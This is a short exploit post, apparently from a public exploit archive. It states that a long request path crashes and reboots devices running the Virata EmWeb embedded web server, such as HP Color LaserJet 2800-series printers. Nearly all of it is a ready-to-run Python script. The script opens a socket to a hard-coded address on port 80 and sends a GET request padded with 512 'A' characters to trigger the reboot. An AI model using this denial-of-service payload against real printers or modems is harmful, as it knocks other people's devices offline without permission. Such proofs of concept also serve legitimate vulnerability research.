The Virata EmWeb software is embedded in multiple printers and DSL modems. For  
example the HP Color LaserJet 2800-series. When sending a long header (long   
filename), the printer will reboot. Other soft- and hardware isn't tested yet.

import socket  
  
host = '192.168.1.110'  
port = 80  
header = 'GET /' + ('A'*512) + ' HTTP/1.0\r\nHost: ' + host + '\r\nConnection: Close\r\n\r\n'  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
  
print 'Sending header...'  
  
s.send(header)
